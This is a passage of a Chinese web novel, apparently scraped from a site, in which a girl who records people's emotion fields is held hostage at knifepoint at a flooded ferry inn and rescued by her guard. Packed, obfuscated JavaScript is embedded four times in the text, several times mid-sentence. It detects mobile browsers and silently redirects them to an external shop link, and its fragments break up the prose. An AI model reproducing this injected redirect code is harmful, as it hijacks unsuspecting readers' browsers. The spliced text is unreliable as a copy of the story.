只可惜这个词不是情绪,不然就把它也塞进自己新建立的“脑中小抽屉”里。 她又向外看去,河水退得厉害,裸露出两旁常年被冲刷的痕迹。圆润的石头早已不像在水中那么柔亮,统一顶着白帽子,无言地和烈日对峙。 在它们周围,稀稀疏疏地长着野草,但也不怎么健康,随时准备一命呜呼。 “好像……”辛圭欲言又止。 “像什么?”方启星人在车上,无论辛圭说什么,但凡他醒着,这话就绝对不会掉在地上。 “像快秃了的头……”不是辛圭一定要用这个比喻,而是她之前从未见过掉头发的人,谁知那天吴掌柜没戴帽子进来,头上只剩稀稀拉拉几根头发,她还以为吴掌柜生了重病,闹了个笑话,因此印象深刻。 “噗!”方启星哈哈大笑起来,拍着座位:“妙啊妙啊,我有个朋友,诗书一绝,我必须得把你这个比喻说给他听,让他以此作首诗。千百年后,别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815819|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人都忘了咱们,也忘不掉你这句像快秃了的头!” 辛圭着急:“你不是说不笑的吗?” 她着急地看着温子修,可谁知对方竟然也在忍笑。只不过辛圭看过来后,他很快敛色,但仍是掩不住眼中的笑意。 “小姐。”马车渐渐停了下来,成记行派来的杜掌柜在外说道:“前面就是槐山渡。” 温麟趾看了眼周围干裂的土地,叹道:“今年秋旱的厉害,水路不好走,槐山渡的人反倒积得更多了。” 在他的记忆当中,这次秋旱只是打了个开头,接下来冬天的雪少,来年的粮食产量也锐减,明年惊蛰之后雨水连连,像是把之前欠的水汽都一股脑还了回来,泡的庄稼烂在了地里。而之后几年天气愈发怪异,中间有一次他甚至提醒德明帝提早屯粮,但收效甚微。 想到这里,他缓缓吐了口浊气,天有异象向来是大乱的前奏。而自己这次竟然跟着一个小丫头远离了朝堂,远离了战场。 方启星看了眼河边那一排木屋,门楣被晒得起皮打卷,像是随时随地都会倒塌。“这地方都能把我烤熟。” 辛圭顺着他的目光看向那些木屋,还有渡口的棚子,阴凉角落里躲着的人:“他们看起来,好像脾气都不太好。” 杜掌柜:“脾气不好?正常。这槐山渡靠的就是渡口吃饭,如今水浅了,货船过不来,小摊小铺都快活不下去了。都活不下去了,谁还脾气好?” 原来如此。 辛圭恍然:不是他们本身脾气坏,是环境坏。 【情绪场记录·环境条目012:人的情绪也是会受到环境影响的。】 在光忆星,因为一切都安排的很好,天气也很平稳,所以是不会有这样的体会的。 辛圭突然觉得,光忆星可能也并非一无是处。 “不过姑娘,这地方要提防些。”杜掌柜补充道:“渡口鱼龙混杂。有的来讨债,有的走江湖,有的图便宜,眼下这么旱,说不准还有抢劫的。” 一行人下车,杜掌柜和方启星去安排船位,马夫忙着去伺候马匹,辛圭则和温麟趾则站在一旁等待。 辛圭很自然地从自己的小口袋里掏出一块糖,塞到嘴里。她昨晚睡得少,原本想在车上眯一会儿的,没想到路途颠簸,根本睡不了。如今只能依靠这糖,不仅能提神醒脑,还能压一压喉中那股酸涩感。 温麟趾看见她的动作,问道:“喜欢?” “嗯。”辛圭点点头,又拿了一颗糖递给他:“你也尝尝?” “不了。”温麟趾拒绝道:“我不喜吃糖。” 辛圭见他这么说,只得把糖收起来。 “槐山渡的柿子糖也很好吃。”温麟趾觉得自己刚才回绝的有些冷漠,不自觉补充了一句。 经他这么一说,辛圭才知道渡口边挑着一担一担橙色的方块是什么东西,原来那就是柿子糖。 “槐山渡地势不适宜种植,但却离商州很近。”温麟趾说道:“渡过这条河便是商州,而商州盛产柿子。” 他想起自己小时候很喜欢吃糖,父亲经常会把各地的糖果带回来给自己。不过自从父亲自戕,自己已经有多久没吃过糖了呢? 不过说来讽刺,他最欢吃的糖是柿子糖,而他的最后一次循环,便是死在了商州盛产柿子的时节。 “小姐。”杜掌柜和方启星匆匆而来,杜掌柜叹了口气,说道:“槐山渡现在水流浅,走不了几艘船,今日的船都被订满了,咱们怕是要在这里歇息一夜了。” 辛圭抬头,看着头顶的烈日: 【稳定人格手册·异世界观察项目草稿条目C004: 当环境本身就不稳定的时候。 结论:别指望行程可以按照计划来。】 不过,她舔了舔嘴里的那点甜味,默默地补充了一条:【计划之外发生的事,也许才是“实验”开始的地方。】 11. 第 11 章 槐山渡的客栈不少,但能好好住人的却不多。 河水变浅并非一日之功,来往商客却仍要过日子,要是不从渡口走水路,便要绕行一大圈,无论是金钱还是时间都划不来,只能堆积在槐山渡。 是以,几个客栈挤满了人,连大堂都难寻落脚之处。 寻了半天,终于在地势高些、但离渡口偏远的地方找到一个小客栈,匾额上刻着“山中河”三个大字,只是因为天干物燥,裂得“山”“河”不分彼此。 掌柜是个瘦高汉子,皮肤晒得黑黢黢的,一看来客的模样眼睛一亮,又飞快地压了下去,半死不活地问:“住店?” “住店。”杜掌柜拱手道:“还有房吗?” “就剩下两间偏房。” 辛圭偷偷打量一圈,堂里挤着十来号人,多是商队跟脚,空气里弥漫着汗味、干面粉味,还有一股闷闷的糊焦气。 杜掌柜回头商议:“姑娘得住一间房,剩下咱们四个挤挤也成,打个地铺什么的。” 车夫要看马,温麟趾更是没意见,他习惯了风餐露宿的行军日子,只剩方启星。他冲车夫招了招手,提议道:“我不习惯和人睡一起,要不咱俩换换,我睡马车上,你睡屋子里,也能好好休息。” 车夫心里自然同意,但还得看杜掌柜的意思。杜掌柜点了下头算是同意,转身问了店家价钱,在被宰了一刀的情况下也只好掏出银两。 温麟趾从马车上卸下被褥,他本想按照张妈嘱咐的去帮辛圭铺好,却在门口遇见辛圭。 “我自己来。”辛圭将东西抱走,往床上歪七扭八的一铺,回头冲温麟趾摆了摆手:“快去休息吧。” 温麟趾看着那张被铺成“山丘地形”的床,最终什么也没说,只轻声应了一句:“是”。转身回了隔壁房间。 辛圭第一次出远门,第一次感受颠簸,昨晚睡得又不好,几乎是倒头就睡着了。 方启星躺在马车板上,翘着腿,有一搭没一搭地看着星星,墙后突然传来一声轻咳,接着,一个小蜡丸飞了过来。方启星一抬手,准确无误地将蜡丸握在手中。 “京城下雨,商州造势。” 蜡丸中封着的是一张纸,字迹细小。方启星微微闭上双眼,他知道陆居平这是在提醒自己。 夜深后,槐山渡并没有变得凉爽,反而因为渡口客栈聚集了太多人,愈发闷热。 屋顶的瓦片像烤焦的饼,白日里被晒到发白的木梁,由芯子里向外散发热气。房间里只点了一盏豆大的油灯,烟气细细,不停歇地向上窜,最后贴到屋顶下,印下一圈一圈的暗痕。 辛圭在床上翻了个身,身下的草甸子发出窸窣响声。这里比不得光忆星,更比不上李府,也怪不得张妈在带床铺一事上态度强硬。 她从床上坐起来,摸到鞋,轻轻推门出去。 走廊并未好一些,人的各种味道混合交织在一起,伴随着能听到的鼾声、磨牙声此起彼伏,像鬼怪合唱团。 【新世界感官记录021: 项目:集体睡眠 音效:鼾声N,磨牙N。 备注:不合格!!!】 再往外走,外面才稍好些,夜风微潮,缓缓从河那头吹过来。渡口零星有几处灯火,像落在桌面的几滴蜡,圈圈叠叠。 “睡不着?”有人在廊下一角说话。 方启星斜靠在木柱上,袖子撩到手肘,头发闲散束着,很有一份江湖侠客的闲逸风姿。 他看着辛圭,笑得十分自然:“我就猜你要出来。” “你怎么知道?”辛圭有些纳闷。 “你白天一路都在摇晃,”背着月光,方启星向辛圭走来,“像一只被装在盒子里的小鸟,盒子一开,小鸟就该探头看看外面了。” 这个比喻不错,可以留着以后用,辛圭在心里默默记了一笔。 “给你,”方启星递过一个纸包,“槐山渡的柿子糖,听说是最后一批了,卖完就没了。” 辛圭打开纸包,淡淡的柿子香扑鼻而来。 从远处看,柿子糖一颗颗码的整齐,但拿在手上近距离看,才发现它们并不是那么完美,有的色深一些,有的缺了个角,有的矮上些许,好像每一块都在坚持做自己。 她捻了一块放进口中,糖衣碰到牙齿上,发出很轻的响声。 “好吃吗?”方启星轻声问道。 辛圭点头:“好吃。” 方启星笑:“槐山渡腌柿子熬柿子糖还是有一手的。” 辛圭抿着甜味,问道:“这是人一点一点熬出来的?” “不然呢?”方启星觉得她问的奇怪,想到她一直养在深闺中,便解释道:“阿嫲们晚上在家拿大灶慢慢熬的,糖这种东西,需要一直搅拌,等到它冒泡了再倒进容器,凝固后切着你手里的样子的。” 原来如此。 辛圭看着纸包里的糖块们,呢喃道:“手工做的糖真是各式各样。” “嗯?” 辛圭把后半句吞进了肚子里——而程序做出来的糖却是一模一样的。 她笑着问方启星:“你真的从车上跳下来过?” 她转移话题的表现太过明显,方启星却没有再问,他“噫”了一声:“真的,那时我可真是英勇无畏!可惜摔断了腿,但我的心跑了两里地。” 因为他当时要去找很重要的人,可那个人,再也没有回来。 “疼吗?”辛圭问道。她感觉到方启星情绪场里的那棵小星星突然躲到了云后,光线黯淡了许多。 “早忘了。”方启星抬头看了眼天,突然指着不远处的河道:“你看,白天是快秃了的头,晚上应该是这颗脑袋勉强戴上像样点的帽子了。” 河面映衬着月光,那些石头便也偃旗息鼓,不再顶着发白的脑壳儿了,像是被夜色安抚了一遍。 辛圭想起张妈,便靠近方启星,拉住他的手,安慰着:“没事儿的。” 指尖传来温软的触感,方启星愣住。 辛圭保持着这样的姿势,转身面对方启星,两人中间的空隙怕是只有晚风才能穿过。 “啊——”辛圭拿出一块柿子糖,塞到方启星的唇中:“吃糖就不疼了。” 糖在舌尖激起水渍,丝丝甜味逐渐蔓延至整个口腔。“砰”“砰”,方启星感觉自己的心脏刚才似乎是忘记该怎么跳动了,如今缓过神来,就要把刚才少跳的几下用力补回来。 “咳咳。”方启星别过头去,深吸两口气再回头看辛圭的时候,她已经侧过身去看河,她眼睛里满满地都是傻气和懵懂,仿佛刚才那一整套行为,只是一个极为自然的步骤。 他想说点什么,但又怕打破此刻的气氛,只是朝她那边靠近了些。 “嗯?”辛圭注意力并不在方启星身上,而是在认真记录—— 【情绪场记录·样本005方启星: 状态一:提到摔断腿——星星躲进云里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815820|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>状态二:被拉手、喂糖——星星亮度略微提升。 初步结论:拉手+喂糖=安慰。】 “夜里风大,容易着凉。”方启星找了个最蠢的借口。 辛圭以为他要给自己挡风,很诚实地说道:“风是从我这边来的。” “是我有点冷。”方启星说完,气恼地简直要跳起来狠狠跺地。 “那要不还是进去吧。”恐怕没有比这更诚恳的态度了。 一瞬间,方启星不知道该说什么好了。 辛圭歪了一下头,感受到他愈发沉闷的情绪场,又想起白天靠在温麟趾身上的效果,秉承着严谨的试验精神,她拉了下方启星的袖子,又把头靠在了他的肩上——腾得一下,星星从云层里冲了出来,骤然亮得惊人。 辛圭在心里认真记下: 【情绪场记录·样本005补充: 操作:拉袖子+靠肩 结果:星星骤亮。 结论:确实起到了鼓舞效果。在对方情绪场状态不佳的时候,是有效干预手段。】 果然,带着他们两个一起出来能学到很多! “轰!” 第一声雷,是从极远处滚过来的。闷闷的一声,把远处群山的轮廓短暂地照亮了些。但沉寂下来,反而觉得群山更黑。 一道细长的闪电划破夜幕,在云层中扭了一圈,又迅速被黑暗吞没。接近着是第二声雷,要近得多。 第一滴雨就这样落了下来,空气像是被雷敲出了水,第二滴很快落下,砸在屋檐上,沉沉的。 紧接着,第三滴第四滴。 雨点很大,每一颗都有分量,先是稀稀拉拉,下一个瞬间就像有人拿了一盆水,劈头盖脸地往下浇。 火苗被水一压,连挣扎的机会都没有,廊下的纸灯笼先灭了一盏,又灭了一盏。 方启星无语,他拉着辛圭往后退了退:“这雨……来的也太是时候了。” 离渡口近的地方有灯火闪烁,有人从客栈里冲出来,赶去挪白日搁在外面的货物。山中河内的人声也渐渐响起,温麟趾从里面走出,看见辛圭和方启星站在屋檐下,眉头轻锁。 他走上前:“下雨了。小姐先回去。下面的人怕是要往高处来,方启星去看车。” 客栈的门一扇扇打开,骂声、惊叹声混在一起。 “哎哟,这雨吓疯了!” “河水,河水涨起来了!” “再不挪就淹了!” 下面更乱,几乎是人仰马翻。 而槐山渡这一整片地方的情绪场,全都被雨水砸开了。 情绪场像骤然被敲碎的琉璃碎片,四处飞溅,乱成了一锅粥。可就在这沸沸扬扬的情绪场中——辛圭猛然回头。 “怎么了?”一路护着辛圭的温麟趾问道。 “那个人好像在高兴。” 温麟趾顺着她的视线看过去,那是一个白天就坐在大堂角落的商队行脚,此刻没有冲出去抢救自家的货物,而是将身影掩藏在人群中,东张西望片刻后从大堂后门钻了出去。 下雨高兴没什么稀奇,只是行为古怪。 “先回房。”温麟趾带着辛圭进了房间,又嘱咐道:“门栓好,别开门,我去看马。” 说罢,他扫了一眼辛圭手上的纸包,辛圭说明:“是柿子糖。” “待会儿别拿在手上,容易被挤掉。”温麟趾拿过纸包折好,放回她的手中:“在这里等我。” 12. 第 12 章 整座客栈都被雨声罩住,移去只大沙鼓内罩住,自身的声音被放大了无数倍。 楼下的动静越来越乱,临近的几间房也有人出去,门都来不及好好关,“砰”地被甩在身后。 声音们糊成一团,扭来打去,谁也不肯先让一步,于是就再难分辨形状和来源,只剩黑色的锅底。 明明没下雨的时候渴求雨,下雨的时候又害怕雨。 【实验手册·环境记录024 久旱后的暴雨:会带来极度混乱。 结论:没人喜欢意外,但意外却喜欢看乱子。】 楼下的混乱还在升级,有人大喊:“马!马棚那边!” 伴随着天上的雷鸣闪电,马发出强烈的嘶鸣声,蹄下的硬铁跺得地面啪啪作响。 辛圭忍不住扒开窗缝往外看,她房间的窗靠近后门,只能隐约看见廊下奔走的人影被雨线切分,你撞我我推你。几匹马冲开人群,四处奔散。 “这马是疯了吗?” “快点拦住——” “方启星!快点!”是杜掌柜的喊声,后面的话被雨声和人声一道吞没。 辛圭又想起了刚才在楼下看到的那个商队行脚。 她目前对情绪场的认知是,只能感受到与自己相关的。所以混乱当中绝大部分都只是噪音,因为隔得远,又同她没关系,这些情绪来不及变成有形的情绪场,就都被雨声拍碎了。 但这个商队行脚却不一样,他的高兴是冲着她来的,十分突兀,所以她才能在一瞬间捕捉到。 当时辛圭想起手册里有一条:【稳定人格维护手册·集体安全版第5条:发现异常时,请第一时间直接通知负责人来处理。】 负责人? 那不是自己嘛。但自己显然处理不了。 她在心里给手册做了补充:【当负责人因经验不足或知识储备不足以处理的时候,请寻求相关专业人士帮助。】 相关专业人士,辛圭将成记行出门的几个人过了一遍,觉得可以颁给温麟趾“安全负责人”这个称号。 所以她才在上楼的时候告诉了温麟趾这个人的异样,但安全负责人到底去没去,亦或是觉得她只是在乱说而已,她就不得而知了。 而此刻,那股情绪场愈发强烈。她从来没见过能高兴成这样的,随着逐渐高涨的情绪,情绪场中越来越多尖刺拔地而起,黑黢黢的,看着吓人。 “嗒——”敲门声轻轻响起。 “哪位?”辛圭隔着门问。 “姑娘。”门外是个男人,声音压得很低,却很恭敬:“杜掌柜叫我来请姑娘去前面一趟,说槐山渡的船位有变,要问问姑娘的意思。” 对方的情绪场像根绷直了的铁丝。 若是说辛圭最近学到了些什么,那莫过于:她在能看清一个人表情的时候,也时常会产生错误的情绪判断,更不要提看不见对方表情的时候了。 可解读的方向太多了。 拿不准的时候,辛圭就会想起手册,尤其是她刚刚想到的:【稳定人格维护手册·集体安全版第5条:发现异常时,请第一时间直接通知负责人来处理。】 没错,自己确实是负责人。 但杜掌柜显然没有按照这条指令来行事,所谓“直接”,按照辛圭的词条理解,应该是发现人和负责人的直接对接,中间不应该假于他手。 于是,辛圭说道:“你叫杜掌柜来和我直接对接。” 门外那人顿了顿,笑了两声:“姑娘,这雨一下,下面乱得很,渡口已经乱成一锅粥了,杜掌柜抽不开身,这才叫我来请您过去。” 辛圭咬了咬唇,她感觉对方情绪场里的铁丝崩得更紧了。 对方理由充足,涉及任务的推进,自己应该去。 她把门栓拨开。 门缝刚一放大,一只脚快速伸了进来,门板“砰”地撞在墙上。下一秒,一只粗糙的手就捂上了她的嘴。 “别叫。”男人湿漉漉的,手里的刀沾着水汽:“叫一声就捅你一刀。” 铁器冷硬,抵上辛圭腰侧,寒意透过衣裳钻进皮肤。男人一只手勒住她的肩,几乎是半拖半拽地把她从屋子里拽出来,往走廊阴暗处拖。 【情绪场记录·样本013: 对象:男性,身份不明男性。 形态:绷紧的铁丝 不是推测,是确认:有伤人意图。】 【人际行为互动·参考样本013: 对象:样本013 行为:用利器威胁生命,禁止发出声音,拖拽。 推测:符合“词条326号”,判定为挟持。】 【补充样本013: 绷紧的铁丝推测为紧张。】 “走快点。”他低声骂,“别以为你是小姐,我就不敢下手。” 走廊里灯火昏黄,人都在刚才冲了出去,只留下满地的湿脚印,根本无人发现这里的异样。 辛圭试图放慢自己的脚步,只可惜对方力气太大,她硬撑着才不至于摔倒。 “哎——你们那边干嘛的?”楼梯口突然有人听见动静,看了一眼,问道。 辛圭刚想做出点表情,突然一个身影挡住了她的视线,也挡住了楼梯口那人的视线。 是散发着高兴情绪场的商队行脚。他装出着急的模样:“哎呦!你快点!不是让你去请小姐嘛!” 辛圭听见挟持自己的铁丝男缓缓出了一口气,答:“地滑,姑娘没站稳。”说罢,他好声好气的:“姑娘您慢点。” 外面又是一阵吼:“马又冲了!让一让!别围着!” 楼梯口那人见状便没再多问,只赶着下楼去了。 眼见着这点希望也被掐灭,辛圭努力让自己慢慢呼吸。 【新世界自测002: 当前情绪:害怕。 新增症状:心跳过快。脚发软。 推测:怕死。】 商队行脚朝外瞟了一眼:“还不谢谢我?看见没,那匹灰马差点把杜掌柜给掀翻了。” “多谢。”铁丝男吞了下口水,试探问道:“你也是思交镇的?” “哦!原来你是思交镇的啊。”商队行脚啧了啧:“我记得思交镇和成记行不是老交情了嘛,怎么着,现在反目成仇了?” “呸!成记行那群没良心的人,也配和我们称交情。”铁丝男啐道:“他们拿蛀了的木材交货,我们师傅们忙活了大半年的辛苦,都泡汤了。他们还敢上门要货款?” “都没良心!连老天爷也没良心!看见没?光看他们被挤成那样,我心里就舒坦。”商队行脚又笑,情绪场里的尖刺横生。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815821|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 辛圭看他俩配合无间,一个趁乱纵马,一个趁乱劫人;一个劫人,一个打掩护,还以为他们是一伙的呢,敢成并不相识? 思交镇,辛圭想起自己第一天看账本的时候那个红圈,吴掌柜说思交镇拖欠货款,要过好几次都不给。可在思交镇的人口中,又是另外一幅情景。 【新世界人际交往记录014:不能只听一面之词。】 商队行脚打量着眼前的两个人,笑着说:“我看你这个意思是要掳了人过去谈条件吧。既然有仇,为什么不直接捅上几刀?反正活人是用,半死不活的人难道就不能用?要是你不敢,我可以先给你打个样。” 他的笑和标准的笑容不同,嘴咧得过大,脸被挤压的很难看,让人觉得不舒服。 “我替思交镇谢谢您,”铁丝男这时也反应过来,对方似乎和自己并非真正同一阵线,只是对方做的事情恰巧帮助了自己而已。他说:“这个恩我记下了,麻烦您让一让。” “啪嗒啪嗒”,有人踩在积水的地板上,脚步很稳,但却很急促。 温子修从楼梯上走出来。 雨水沿着他的袖口滴下来,几乎全身湿透,灯光从侧面斜斜地照过来,将他原本就沉郁的眉眼衬得更暗。 温麟趾第一眼就看见了辛圭。 第二眼,看到了抵在她腰侧的那把刀。 铁丝男立刻将刀往上抬,抵到辛圭的脖颈处:“别过来!再走一步,我就捅了她!” 铁丝绷的更紧,发出阵阵痛苦的嗡鸣。 【新世界自测003: 当前状态:心跳的很快。 推测:紧张+愤怒】 至于愤怒是怎么来的,辛圭自己也不知道。 商队行脚眼睛一转,退到一边,之前让人不舒服的笑意全消,又变成一副苦大仇深的样子:“我只是路过,和他没关系,你还得谢谢我帮你拖延时间,不然他早就带着你们姑娘跑了。” 温子修目光淡淡从他身上扫过,再次看向铁丝男,“不如先谈一谈,你们想要什么?” 他站定,没有再往前走一步:“要货?要钱?还是只要人?” 商队行脚见似乎没自己什么事儿了,慢慢向楼梯处退去。 “我……”铁丝男犹豫了一瞬,随即说道:“我只要人!你们成记行没信用,耍赖皮惯了!你区区一个长随说给我们钱给我们货,到时候又翻脸不认人。” “要人……”温麟趾面色不变,“不行。” 商队行脚在温麟趾身后缓缓举起手,手上是一把寒光烁烁的刀,想必他就是用这个放马的。 辛圭在心里快速过到: 【实验手册·新世界决策记录002: 问题】 “小心身后!” 【:要不要出声提醒? 样本013说出声就捅我。 建议决策:为保护自身,免除被清除的风险,不要出声。】 她的喊声比在心里完成笔记还要快,几乎是不受控制的。 喊完之后,辛圭露出一副哀莫大于心死的表情,破嘴,比脑子快!这破新世界,果然感觉是对的,自己脑子没有以前好用了,在光忆星自己是绝对不会出现这种纰漏的! 雨声在这一刻轰然加大,仿佛整个槐山渡都被按在了水里。 13. 第 13 章 决策记录 002 辛圭懊恼地记录: 【决策记录002失败 原因:嘴巴擅自行动。】 她有点想哭,在光忆星如果出现这种情况,她会被判定为“执行力过强、未严格遵守指令”,是会被单独拉出来做案例分析的。 但就在这时候,她的脑子很顽强地释放出一条新分支: 【决策记录002补充:危险值评估 对象A:样本004温子修 对象B:本人 被伤害危险值预估:对象A处于生命危险级别,对象B处于被伤害风险级别。 综合评估:对象A>对象B。 建议:在可控范围内,优先提醒对象A。】 【决策记录002补充:本人危险值评估 被伤害风险级别:B级 观测内容:1.样本013产生挟持动作。 2.在他人提出可对本人造成伤害时,样本013转移话题。 推测:1.样本013有谈判意图,本人目前生命无虞。 2.样本013无主动伤害意图,但有被动伤害倾向。】 辛圭松了一口气——很好,虽然慢了点,但她的脑子还是有能力做出一条完整逻辑链条的。说明不是脑子坏了,而是身体太过紧张。 她在心里给自己点了个“鼓励”的表情符号,默默记下: 【新世界自测004: 状态:嘴比脑子快。 推测:因身体过度紧张,导致大脑运作能力减弱。初步推测是受到脑部杏仁核影响过深。 建议:加强脑部海马体以及杏仁核危急时刻的锻炼。】 这也实在是没有办法,毕竟在光忆星是绝对不会出现这样的紧急情况的,自然也没有机会锻炼。 社会平稳,是每个人刻入骨髓的精神核心。 在她四处发散的同时,温麟趾忽然往后“折”了一寸,精准地避开下刺的匕首,同时侧脚踢出。随后,他猛地回身,不知什么时候短刃已在手,斜劈向商户行脚的手腕。 “啊——” 行脚听见辛圭出声提醒,但他根本没想到温麟趾能在这瞬间做出反击,只觉得自己扑了个空,身子失去平衡,手上一麻,虎口像是被什么东西硬生生撕开,刀“当啷”一声掉在地上,溅着浅薄的水滚到了墙角。 他被这一刀砍得发懵,再一低头,发现手腕竟然被狠狠砍裂,伤口看不清有多深,大量的血已经将它糊作一团。 他试着动了动手,却发现手已经完全不听使唤,这才后知后觉地捂着手惨叫起来。 突如其来的变故使铁丝男愣住了。 原本他脑子里就处于被发现后的一片混乱,现在又有个人靠在墙角大喊大叫。 这是个间隙。 非常小,也很短暂,但确实存在。 辛圭在心里立刻弹出了问题二: 【决策记录003:是否趁机挣脱? 方案一:立即挣脱。但样本013力气大,我方极有可能无法及时挣脱。 概率估计:50%被重新抓住,激起对方主动伤害的风险; 30%样本013在精神紧绷的状态下做出主动伤害行为; 10%被样本013拽倒; 10%侥幸逃脱。 方案二:暂不挣脱,保持身体稳定,交由安全负责人处理。 综合评估:平稳>逃脱。 建议:不要乱动,等人来救。】 辛圭艰难地咽了下口水——她觉得自己还是很怕死的。 同时,她对自己的杏仁核和海马体表示祝贺,因为它们完成了一次试炼,在这样的情况下仍然努力维持着工作环境,没有带崩其他“部门”。 辛圭下意识收了收肩膀,把重心往后略略压低。并不是挣扎,而是让自己不至于被对方那么轻易拎走。 温麟趾的第二刀紧跟着落下。 速度很快,他也抓住了这个间隙,在辛圭做好决策的同时冲了过来。 温麟趾几乎是贴着辛圭的侧面掠过,刀锋反出的冷光闪过辛圭的眼角,刀身斩向铁丝男持刀的手腕。 “你别——”铁丝男话说到一半,眼见温麟趾就要砍上自己握着匕首的手,条件反射手往后一躲。 “嘶——”是刀刃划开皮肉的声音。 辛圭感觉到自己颈边有一股凉意,接着,一阵火辣辣的疼钻出来,像有人拿着烛火贴在皮肤上,先是温柔,却很快变成剧痛,向四周蔓延开去。 鲜血顺着铁丝男湿透的袖子落在地上,很快就被稀释成浅红色。 但他的刀并没有挪开,反倒因为姿势问题和温麟趾的压力,被迫向内继续推进。 辛圭只能听见自己放大了的心跳:“砰——砰——砰……” 【新世界自测005: 当前症状:害怕80%,愤怒20%,不甘20%, 新增症状:疼。】 疼,也可以单独成为一个项目。 为什么分数加起来是120分? 不甘又是什么时候进来的? 请相信安全负责人,他是相关经验人士。 辛圭努力地记录,努力地梳理,想要将自己稳定下来,但脑子里乱七八糟,不受控制地向外吐着不合时宜的思考。 温麟趾余光看见辛圭,她睁着那双略微下垂的眼睛,就这样看着自己。没哭,不慌乱,是信任,是把一切都交托给自己。 手中的刀终究还是收了六分力,从“砍断手腕”降低到“使对方无力掌握武器”。 利刃擦着铁丝男的手腕划过去,一道深深的血痕立刻裂开,连着刚才勒紧刀柄的肌肉一起崩掉了气力,铁丝男手上的刀应声落地。 铁丝男惨叫着,被迫松开了手。 就是这一瞬间的松动,辛圭做出了她目前最为果断的一次行为决策,没有进行任何评估—— 她冲着铁丝男的腿,用尽全身力气,狠狠地踹了一脚。 这一脚踹得并不优雅,角度歪七扭八,力道也不符合光忆星系统示范的那种科学使用,只是简单粗暴。 但意外的好用。 铁丝男伤在手臂,地面又湿,人也仓促,如今被辛圭一脚踹得后仰,整个人重重的摔在了走廊上。 一脚得逞后,辛圭连忙向后,退到温麟趾身后的那一小片“安全区”,才停下来捂住自己的脖子。 脚还是软的。 【新世界自测006: 当前行为反馈:狠狠地踹人可以把“怕死”分配出去一部分。 推测:“能量”守恒?】 温麟趾显然不是那种会温柔询问“姑娘有没有吓着”的人。对他来说,剥夺对方的行动能力是当务之急。 他捡起地上的刀,一脚踩向铁丝男的肩,对方痛呼一声,像个被卸掉力气的木偶,再动弹不得。 干净利落地解决两人后,辛圭发现温麟趾的情绪场几乎没有变化,只是井面有很轻微的波动。但那波动只是一瞬间就被井水本身抹平,好像从来没有发生过一般。 辛圭认真记录:【新世界实验笔记·环境记录016:此处挟持、伤人事件频发。因此本地人练武的评级与光忆星有巨大差别。 备注:新世界版防身级别≈光忆星A级单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815822|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兵技巧。】 “别——别杀我。”铁丝男情绪场里的铁丝拧成了一团。 他的声音和商队行脚的惨叫声此起彼伏,逐渐有人冲上来查看情况。 商队行脚眼见人多起来,开始喊道:“是他!是他让我这么干的!都是他!他说要报复成记行,他说要抓小姐去换钱。我根本不是思交镇的人,我就是贪财,一时糊涂,我、我、我也没碰过小姐一根手指头啊——” 他哭得鼻涕眼泪横流,委屈极了,情绪场却是另外一个模样: 【情绪场记录·样本015: 对象:假冒商队行脚的坏人。 表层情绪:喊冤、求饶。 情绪场形态:一只在抽风放烟花的刺猬。刺猬的嘴巴咧地很大,好像并没有受到疼痛影响。 推测:不是高兴。符合词条045含义:亢奋。】 【稳定人格手册·异世界观察项目E029:亢奋型犯罪享乐。 定义:对方并不在乎受害者是谁,只在乎“乱”和“疼”本身。 分析:通过目前的科学研究,怀疑与大脑前额叶水平相关,但两者之间并非因果关系,请注意辨认。具体仍在研究当中。 备注:这是一种光忆星上所没有的、对所有人都不友好的人类类型。如果发现有人有此倾向,请将其列为危险目标,保持远离。】 原来如此。那些黑色的突兀尖刺,是刺猬。 辛圭想起自己在楼下捕捉到的那股“高兴”,这非但不是高兴,甚至不是针对她一个人的,而是针对所有在客栈里,甚至是在槐山渡的人的。 铁丝男被跑上来的众人按在地上,缓过一口气,立即反驳:“放屁!明明是你先说的——” 上楼的人群不知道发生了什么,只是听他们这么说,便窃窃私语道: “抢人啊?!” “思交镇的人?!” “思交镇不是和成记行关系不错吗?” 